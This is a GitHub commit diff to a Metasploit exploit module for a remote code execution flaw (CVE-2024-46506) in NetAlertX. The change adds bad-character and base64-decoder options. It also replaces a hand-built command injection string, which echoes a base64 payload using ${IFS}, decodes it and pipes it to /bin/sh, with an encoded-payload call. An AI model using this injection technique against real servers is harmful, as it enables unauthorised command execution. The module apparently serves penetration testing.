Skip to content

Commit 2db7f4f

Browse files
committed
Use BadChars and Base64Decoder
1 parent edbdb98 commit 2db7f4f

File tree

1 file changed

+9
-2
lines changed

1 file changed

+9
-2
lines changed

modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,9 @@ def initialize(info = {})
4141
],
4242
],
4343
'DefaultTarget' => 0,
44+
'Payload' => {
45+
'BadChars' => ' \'\\'
46+
},
4447
'DisclosureDate' => '2025-01-30',
4548
'Notes' => {
4649
'Stability' => [ CRASH_SAFE, ],
@@ -57,6 +60,11 @@ def initialize(info = {})
5760
OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
5861
]
5962
)
63+
register_advanced_options(
64+
[
65+
OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ])
66+
]
67+
)
6068
end
6169

6270
def check
@@ -73,7 +81,6 @@ def check
7381
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
7482

7583
version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
76-
7784
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))
7885

7986
Exploit::CheckCode::Appears("Version #{version} detected.")
@@ -84,7 +91,7 @@ def exploit
8491
# subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
8592
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
8693
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
87-
cmd = "/bin/sh -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/sh"
94+
cmd = "/bin/sh -c #{payload.encode}"
8895
update_settings(cmd, '*')
8996
# Not updated immediately
9097
print_status('Waiting for the settings to be properly updated...')

0 commit comments

Comments
 (0)